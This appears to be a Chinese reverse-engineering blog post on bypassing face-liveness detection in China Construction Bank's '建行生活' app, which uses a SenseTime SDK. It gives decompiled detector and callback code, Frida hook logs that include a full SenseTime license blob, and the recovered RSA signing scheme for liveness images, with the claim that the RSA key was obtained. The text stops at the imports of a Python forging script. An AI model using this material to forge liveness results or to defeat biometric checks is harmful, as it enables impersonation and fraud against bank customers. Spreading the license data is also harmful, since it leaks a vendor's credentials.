建行生活活体检测绕过

建行生活活体检测绕过

商汤科技

建行生活使用了商汤科技的活体检测SDK

1
2
com.sensetime.ssidmobile.sdk.liveness.interactive.STInteractiveLivenessDetector.setReadyTimeoutDuration(J)V
com.sensetime.ssidmobile.sdk.liveness.interactive.STInteractiveLivenessDetector.setMotionTimeoutDuration(I)V

image-20220708154725977

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
//dex7
//com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector
public final class InteractiveDetector extends STHandler {
public interface a {
}

public final int DEFAULT_DETECT_TIMEOUT;
public final int[] DEFAULT_MOTIONS;
public int mDetectTimeout;
public a mInteractivePhaseStatusListener;

public InteractiveDetector() {
this.DEFAULT_DETECT_TIMEOUT = 3000;
this.DEFAULT_MOTIONS = new int[]{1, 2, 3, 4};
this.mDetectTimeout = 3000;
}

public InteractiveDetector(ModelsConfig arg21, ThresholdConfig arg22) throws STException {
this.DEFAULT_DETECT_TIMEOUT = 3000;
this.DEFAULT_MOTIONS = new int[]{1, 2, 3, 4};
this.mDetectTimeout = 3000;
this.mnkzv(arg21.getHunterModelPath(), arg21.getAugustModelPath(), arg21.getAlignModelPath(), arg21.getHeadPoseModelPath(), arg21.getPageantModelPath(), arg21.getEyeStateModelPath(), arg21.getLivenessModelPath(), arg21.getCheckModelPath(), arg22.isAngleEnable(), arg22.isBrowOcclusionEnable(), arg22.isEyeOcclusionEnable(), arg22.isMouthOcclusionEnable(), arg22.isMouthOpenEnable(), arg22.getOverDarkThreshold(), arg22.getOverGlareThreshold(), arg22.getBlurThreshold(), arg22.getLivenessThreshold(), arg22.getCheckerThreshold(), arg22.isMultipleDetectEnable());
}

public native void bvechotb() throws STException {
}

private native void changePhaseStatus(int arg1) {
}

@Override // com.sensetime.ssidmobile.sdk.liveness.interactive.STHandler
public native void destroy() {
}

private native void doNextMotion(int arg1) {
}

public native void echohtun(int arg1, int arg2, int arg3, int arg4) {
}

public native void lvciu(int[] arg1) throws STException {
}

private native void mnkzv(String arg1, String arg2, String arg3, String arg4, String arg5, String arg6, String arg7, String arg8, boolean arg9, boolean arg10, boolean arg11, boolean arg12, boolean arg13, float arg14, float arg15, float arg16, float arg17, float arg18, boolean arg19) throws STException {
}

private native void onFailure(int arg1) {
}

private native void onSuccess() {
}

public native void qmuzh(int arg1) throws STException {
}

public native void setDetectTimeout(int arg1) {
}

public native void setInteractivePhaseStatusListener(a arg1) {
}

public native void szndv() throws STException {
}

public native InteractiveResult[] togwh(boolean arg1) {
}

public native void wtechols(float arg1) {
}

public native Locations wzggj(byte[] arg1, int arg2, int arg3, int arg4) throws STException {
}

public native void yoluw() {
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//dex27
public void onSuccess(InteractiveResult[] interactiveResults) {
Intent resultintent = new Intent();
if(interactiveResults != null && interactiveResults.length > 0) {
byte[] resultJPEGImage = interactiveResults[0].resultJPEGImage;
String resultJPEGImageSign = interactiveResults[0].resultJPEGImageSign;
if(resultJPEGImage.length > 0 && !TextUtils.isEmpty(resultJPEGImageSign)) {
resultintent.putExtra("extra_origin_data", resultJPEGImage);
resultintent.putExtra("extra_origin_data_encrypt", resultJPEGImage);
resultintent.putExtra("extra_data_sign", resultJPEGImageSign);
this.a.setResult(0, resultintent);
String picBase64Origin = Base64.encodeToString(resultJPEGImage, 2);
String picBase64Encrypt = Base64.encodeToString(resultJPEGImage, 2);
OnFaceResultListener v5 = AbstractCommonMotionLivingActivity.B;
if(v5 != null) {
v5.onDetectOver(MotionLivenessActivity.a(this.a, picBase64Origin, picBase64Encrypt, resultJPEGImageSign));
}
}
else {
MotionLivenessActivity.a(this.a, resultintent);
}
}
else {
MotionLivenessActivity.a(this.a, resultintent);
}

this.a.finish();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//dex7
package com.sensetime.ssidmobile.sdk.liveness.interactive.model;

public class InteractiveResult {
public byte[] cropJPEGImage;
public String cropJPEGImageSign;
public Location location;
public byte[] resultJPEGImage;
public String resultJPEGImageSign;

public InteractiveResult(byte[] arg1, String arg2, byte[] arg3, String arg4, Location arg5) {
this.resultJPEGImage = arg1;
this.resultJPEGImageSign = arg2;
this.cropJPEGImage = arg3;
this.cropJPEGImageSign = arg4;
this.location = arg5;
}
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
//dex28
public FaceImpl() {
this.a = "2.0.2.07";
this.d = "https://ea.ccb.com:442/NCCB/CCBCommonTXRoute";
this.r = true;
this.s = true;
this.t = "";
this.u = "";
this.v = this.getVersion();
this.w = "3";
this.x = "";
this.y = "";
this.z = new ESafeUtils();
this.A = new OnDetectResultListener() {
public void onDetectError(boolean isHack, String errorCode, String base64) {
FaceImpl.c(FaceImpl.this, errorCode);
FaceImpl.a(FaceImpl.this, base64);
if(TextUtils.equals("ENCBACCommFaceModelVerify", FaceImpl.j(FaceImpl.this))) {
if(FaceImpl.k(FaceImpl.this)) {
FaceImpl.a(FaceImpl.this);
return;
}
}
else if(isHack) {
if(FaceImpl.b(FaceImpl.this)) {
FaceImpl.c(FaceImpl.this);
return;
}
}
else if(FaceImpl.k(FaceImpl.this)) {
FaceImpl.a(FaceImpl.this);
}
}

public void onDetectResult(String resultCode, String message) {
if(FaceImpl.i(FaceImpl.this) != null) {
FaceImpl.i(FaceImpl.this).onCompareResult(resultCode, message);
}
}

public void onImageBack(String imgByteOrigin, String imgByteEncrypt, String sign) {
String base64StrBean = FaceImpl.a(FaceImpl.this, imgByteOrigin, imgByteEncrypt, sign);
FaceImpl.a(FaceImpl.this, base64StrBean);
eSafeLib mESafeLib = new eSafeLib(FaceImpl.f(FaceImpl.this), FaceImpl.g(FaceImpl.this));
if(mESafeLib.verify()) {
FaceImpl.b(FaceImpl.this, mESafeLib.syyHMAC(base64StrBean));
}

FaceImpl.h(FaceImpl.this);
}
};
this.B = "53657132303230303932333134323240";
this.u = LivenessFace.getInstance().getVersion();
this.f();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
//dex28
package com.ccb.facelib;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Base64;
import com.tendyron.liveness.impl.LivenessInstance;
import com.tendyron.liveness.impl.LivenessInterface;
import com.tendyron.liveness.impl.OnDetectResultListener;
import com.tendyron.liveness.motion.util.ActivityUtils;

public class CcbIntentActivity extends Activity {
private LivenessInterface a;
private static OnDetectResultListener b;

public static void a(OnDetectResultListener arg0) {
CcbIntentActivity.b = arg0;
}

@Override // android.app.Activity
protected void onActivityResult(int arg9, int arg10, Intent arg11) {
super.onActivityResult(arg9, arg10, arg11);
boolean v0 = true;
if(arg9 == 1) {
byte[] imgByteOrigin = this.a.getLivenessOriginImages(arg11);
byte[] imgByteEncrypt = this.a.getLivenessEncryptImages(arg11);
String stingSignImages = this.a.getLivenessSignImages(arg11);
if(arg10 != 0) {
OnDetectResultListener v5 = CcbIntentActivity.b;
if(v5 != null) {
if(imgByteOrigin == null) {
if(arg10 != 6000) {
v0 = false;
}

v5.onDetectError(v0, String.valueOf(arg10), "");
}
else {
String picBase64 = Base64.encodeToString(imgByteOrigin, 2);
OnDetectResultListener v5_1 = CcbIntentActivity.b;
if(arg10 != 6000) {
v0 = false;
}

v5_1.onDetectError(v0, String.valueOf(arg10), picBase64);
}

CcbIntentActivity.b.onDetectResult(ActivityUtils.getLivessCode(arg10), ActivityUtils.getLivenessErrorMessage(arg10, this));
}
}
else if(CcbIntentActivity.b != null && imgByteOrigin != null && imgByteEncrypt != null) {
CcbIntentActivity.b.onImageBack(Base64.encodeToString(imgByteOrigin, 2), Base64.encodeToString(imgByteEncrypt, 2), stingSignImages);
}

this.finish();
}
}

@Override // android.app.Activity
protected void onCreate(Bundle arg13) {
super.onCreate(arg13);
this.a = LivenessInstance.getInstance();
int difficulty = this.getIntent().getIntExtra("FACE_DIFFICULTY", 2);
boolean voice = this.getIntent().getBooleanExtra("FACE_VOICE", false);
int[] sequences = this.getIntent().getIntArrayExtra("FACE_COUNT");
this.getIntent().getIntExtra("FACE_QUALITY", 80);
this.a.startLivenessActivityForResult(this, 1, difficulty, voice, sequences, this.getIntent().getIntExtra("EXTRA_FACING", 1));
}
}


Bypass frida detect

进入活体检测功能时,会检测是否存在frida注入,检测的方式比较隐蔽。

image-20220804143749536

image-20220804143818211

image-20220804134752920

image-20220804143900186

image-20220804143918329

sign算法相关hook日志

1
2
3
4
5
6
7
8
9
10
07-22 14:34:42.490 14745 15792 D zhighest_hook: InteractiveResult: dGltZXN0YW1wPTE2NTg0NzE2ODI0NjIsc2lnbl92ZXI9MSxsaWNfc249MTk0ZDIxMjUtMmRiZC0zMjJlLWI1ZmUtNjc4ZGU2N2I2YzFhLG5vbmNlPWRoTVQyeTg4NHR4NDRRaEFXNjVtbml0eDhtd3NHd1gzM1NlRmE1dzZobkRjM1JYUkY3UDIzQlJUaWJ0c2VlWHMsc2lnbj1xd0RRS2M2cGZOeWVOcFJVRi9KaVNLeXZNL0t6QUQwN2JvZ0srdEJWYkY3bmoySVNvd2JGM25mTXVmZjZQdXI0aVVpMFRPM1FIRk1jNWM5bldOb0hnOW1SS08zNnVOOXJEbGYzN0dTNXBMQTVNZGIvejRieWxBWmY3K1ZhYWZQY3V1Y3VJQjVBRUFraW9UT2pqT0RXYkxUMEdQN3hXZCtSN0hDbFFFYnRNdGtDcWpMRnBJZ1B4cnoxWTdhdHV1MzFNYmYxZndHTVY2Ti9vWTg0THU5bVdOZnkyQmthbURuclNjeXo2blg0aHhzbGsxc2ZYckoxTHlycXE2ZzZacDVzL1VPT2xuQ01uc3RaS3FEVzVIWTJqV3ViaXhBTm4vZjhYTmJQZFRsL1lZTDRxVVgxeHU2QVFVTEZpVEpKMzJ4djQxYkNSMnM2ZVd4cEpSU05DcENnNmc9PQ==
07-22 14:34:42.490 14745 15792 D zhighest_hook: InteractiveResult: [B@ae6955
07-22 14:34:42.490 14745 15792 D zhighest_hook: calling constructor_Hook...
07-22 14:34:42.490 14745 15792 D zhighest_hook: InteractiveResult: dGltZXN0YW1wPTE2NTg0NzE2ODI0Nzksc2lnbl92ZXI9MSxsaWNfc249MTk0ZDIxMjUtMmRiZC0zMjJlLWI1ZmUtNjc4ZGU2N2I2YzFhLG5vbmNlPXBQTlIydGFqWGhLN0F3QU5EcFJ4OFk0c0VqRE1SRHpkc3hqRXpZS0ZBc25wYlNuS3pYVDVuWjh5TXozQVJzS1Esc2lnbj1STkxPTFFKVjlZQXZUMFdVNW1udVlPd0MxMUtJWTJlb1VTT0NDWkU1RlQwWFZKeVN3YnVJNUdXREhSRzZLa2hJcDczVlV1ZWM1OTErc0JZelQ0dE5MclEwMk1vWS9CV2haVHZZL0gwZmJMNVoweDlSeGkzbFUxSVo0M3JUVitwQnJ4WFJhRnp1NkN2K3QyVGxrWTkyZVZHRGkrWEtqK3VEb3h2MDVyL0Y4K1dzUERjNDZGK010NVcwQzdSRTd5MWk3WVVWTkgwSzBibCtvcjdLWXpMNjhEU1NlRHA3elVmL2JZalduMjJaSVE2Nm5CSmZPVTNIcWRhY1RWZmRNem9iQWF1Q05wWm1WYTFveEJWNXhuV1c0dWE1VXZGVmJpS0pmREhoRWpubk5HRmNYT3JjMkF6MVgyc1RCekNBRnduZUlnSEVOaEJhS012WDVDUmszYjJlenc9PQ==



timestamp=1658471682479,sign_ver=1,lic_sn=194d2125-2dbd-322e-b5fe-678de67b6c1a,nonce=pPNR2tajXhK7AwANDpRx8Y4sEjDMRDzdsxjEzYKFAsnpbSnKzXT5nZ8yMz3ARsKQ,sign=RNLOLQJV9YAvT0WU5mnuYOwC11KIY2eoUSOCCZE5FT0XVJySwbuI5GWDHRG6KkhIp73VUuec591+sBYzT4tNLrQ02MoY/BWhZTvY/H0fbL5Z0x9Rxi3lU1IZ43rTV+pBrxXRaFzu6Cv+t2TlkY92eVGDi+XKj+uDoxv05r/F8+WsPDc46F+Mt5W0C7RE7y1i7YUVNH0K0bl+or7KYzL68DSSeDp7zUf/bYjWn22ZIQ66nBJfOU3HqdacTVfdMzobAauCNpZmVa1oxBV5xnWW4ua5UvFVbiKJfDHhEjnnNGFcXOrc2Az1X2sTBzCAFwneIgHENhBaKMvX5CRk3b2ezw==

timestamp=1658471682462,sign_ver=1,lic_sn=194d2125-2dbd-322e-b5fe-678de67b6c1a,nonce=dhMT2y884tx44QhAW65mnitx8mwsGwX33SeFa5w6hnDc3RXRF7P23BRTibtseeXs,sign=qwDQKc6pfNyeNpRUF/JiSKyvM/KzAD07bogK+tBVbF7nj2ISowbF3nfMuff6Pur4iUi0TO3QHFMc5c9nWNoHg9mRKO36uN9rDlf37GS5pLA5Mdb/z4bylAZf7+VaafPcuucuIB5AEAkioTOjjODWbLT0GP7xWd+R7HClQEbtMtkCqjLFpIgPxrz1Y7atuu31Mbf1fwGMV6N/oY84Lu9mWNfy2BkamDnrScyz6nX4hxslk1sfXrJ1Lyrqq6g6Zp5s/UOOlnCMnstZKqDW5HY2jWubixANn/f8XNbPdTl/YYL4qUX1xu6AQULFiTJJ32xv41bCR2s6eWxpJRSNCpCg6g==
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
|----retval: ############################################################
# SenseTime License
# License Product: SSID-3.0
# Expiration: 20211227~20991231
# License SN: b1966ef0-90f3-4516-828b-2b27e7841cae
############################################################
sGfdd8EYXYDBX5EKP6HNHV364g+3STNiNcLwy+NxAuN9p+BckbE+GSKI6YDd
wSNf+ipZIPEaGTSfUfvArc3pOZCVPQaNCyoa9SP+WcGBZpNAgQytwfkwvONA
H7h72yWnWpT49qAs/cZEApNJvtiGBCyptuiDF1ilXzOGs6I4NSXr+UJdAQAA
AAEAAAA18z926I6hjcQURARf13JWuynYrJB/k5vcJil34g/6FNH1U/Rt76dC
X06AogRs/Cf/d5CdoFkoGsewnFLDiBymchCsMh6S3/IGfv4ZyR2eOHSvO4+N
gtYCaXszCT8T3jCBY+KtfZgQhWrgA1yWauKRxp/W3YRPXZ5mlmHSuLL5IpvG
zAgUWFPr0TjTMZuNDZ/EacqXEY79S8FhiNbbZEwaikV0Gv6+RMkG0rG+FO3R
BhbQpHb9kxYZSwmodVFiEuhD/ghVmuIY0xDkZJ1LWeEFQN55MAAamTzwrGDG
V+BLmQCahrNxHB97q8BX9AN3EXPT/5HReDztSdU2OWJQfRqtAQABAAAAAAAD
AAAAAAAAAAAAAABS0AXiRhGrMZN1UNkKq0X0LuOBNv/wUwyYRxuI88iar/2g
2oN+bZqAGiyDRgzYWtwdUmFV+g3FDHx9x/Xm+klsh+oLEdkFxAdNr3Kd5hXm
iy1WBjRgicTc0Tn4xDJuakdUOYUCD/5FniPt7kALLrqHwHwZbwBiv0Rwfexn
aFNfdxC0UFClgkaJpn3lRGmIZI/8o/Gz0JWUladeHzmUoK2wbx8agVWDXdzi
AJArtAZWgStM88A9+xCaq+xzEYBBEmlU3OAwUMQGwgNaloShDSHTvTUqSoiw
3RzUBnOHurKb8oaOJxdVTLVZZrZblrmIMTktQBH0tadPl/b+3m+PsgSOcgFn
MGcH38qrMrZtT7P2Y2+4rP231PS01/rrZvxN+eBnjEW79BpNWiVakVs7uLPO
If63mGOd0ZLw+dvnFVU2I0YZb1tGgsLs+TcxWN2wkoeXzbG7XEVgjxNYTtVO
P/GiplcrCQNcXOELoU0Z3ceidYzItjumHVbdZSKVsi7qKzsR23qYi8uZpAhe
ktiAeWJRfY5MdtQTU6bBoaUMBuq4dd/xD7PkhRo/2udnEZ6wEdJH/QXRo+Xr
sacRf8E6CfrBPyGhYDdegSPgwgA+uTpFrIa5TH4zExH5aNG92jbGOgC3hcLr
BdvcGevz8VqT97Z61V7vW0XwMjzG3T13A8ghJ3pocHWUFdreN69M8HtwewOA
vT9QZvFVT2bd3blCE1DaRx0JNSUXFAiNoYwPXzUwUkw3lghYOQgenxThrgqf
MLYMJYt8yOnJQvtJ+6IIa3TiDSF5wTMCA+56m4SS8QRwE5W75mAwKyrLF+lf
D4HJv3av+IxQeAokykDItDX5PwzZOJgXTvyIWQe7n6uqUfs+og==
------------------------------------------------------------
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
############################################################

|----exiting--com.sensetime.ssidmobile.sdk.liveness.interactive.Launcher.a
|----entered--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.mnkzv
|----arg[0]: /data/user/0/com.ccb.longjiLife/cache/assets/KM_Hunter_SmallFace_Gray_ppl_9.6.1_half_compression_v1_weak.model
|----arg[1]: /data/user/0/com.ccb.longjiLife/cache/assets/KM_August_Face_Gray_PPL_2.6.3_half_compression_v2_origin.model
|----arg[2]: /data/user/0/com.ccb.longjiLife/cache/assets/KM_Align_occlusion_106_1.19.6.model
|----arg[3]: /data/user/0/com.ccb.longjiLife/cache/assets/KM_Headpose_106_ppl_2.3.0_half_compression_v2_origin.model
|----arg[4]: /data/user/0/com.ccb.longjiLife/cache/assets/KM_Pageant_88id_Fcfp32_ppl_1.0.7_half_compression_v2_origin.model
|----arg[5]: /data/user/0/com.ccb.longjiLife/cache/assets/KM_eyestate_ppl_3.6.1_half_compression_v2_origin.model
|----arg[6]: /data/user/0/com.ccb.longjiLife/cache/assets/KM_RGB_Liveness_General_Face_FP32_12.1.44_half_compression_v2_origin.model
|----arg[7]: null
|----arg[8]: true
|----arg[9]: true
|----arg[10]: true
|----arg[11]: true
|----arg[12]: true
|----arg[13]: 0.20000000298023224
|----arg[14]: 0.800000011920929
|----arg[15]: 0.4399999976158142
|----arg[16]: 0.800000011920929
|----arg[17]: 0.30000001192092896
|----arg[18]: true
|----retval: undefined
|----exiting--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.mnkzv
|----entered--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.setInteractivePhaseStatusListener
|----arg[0]: [object Object]
|----retval: undefined
|----exiting--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.setInteractivePhaseStatusListener
|----entered--com.sensetime.ssidmobile.sdk.liveness.interactive.Launcher.arcip
|----arg[0]: true
|----retval: undefined
|----exiting--com.sensetime.ssidmobile.sdk.liveness.interactive.Launcher.arcip
|----entered--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.qmuzh
|----arg[0]: 3
|----retval: undefined
|----exiting--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.qmuzh
|----entered--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.echohtun
|----arg[0]: 80
|----arg[1]: 208
|----arg[2]: 400
|----arg[3]: 528
|----retval: undefined
|----exiting--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.echohtun
|----entered--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.szndv
|----retval: undefined
|----exiting--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.szndv
|----entered--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.lvciu
|----arg[0]: 4,1,3
|----retval: undefined
|----exiting--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.lvciu
|----entered--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.bvechotb
|----retval: undefined
|----exiting--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.bvechotb
|----entered--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.wzggj
|----arg[0]: 41,43,41,42,44,44,46,47,44,47,46,46,.........
|----arg[1]: 3
|----arg[2]: 640
|----arg[3]: 480
|----|----entered--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.destroy
|----|----|----entered--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.yoluw
|----|----|----retval: undefined
|----|----|----exiting--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.yoluw
|----|----retval: undefined
|----|----exiting--com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector.destroy
|----|----entered--com.sensetime.ssidmobile.sdk.liveness.interactive.Launcher.wlnlh
|----|----retval: undefined
|----|----exiting--com.sensetime.ssidmobile.sdk.liveness.interactive.Launcher.wlnlh

sign算法分析

通过hook free strlen strcpy 等libc中的函数,分析出了sign的算法,并获取到了RSA密钥

算法: base64.encode(RSA2si(图片SHA256 + sign_ver+lic_sn+nonce+timestamp))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import rsa
import base64
import binascii
import time

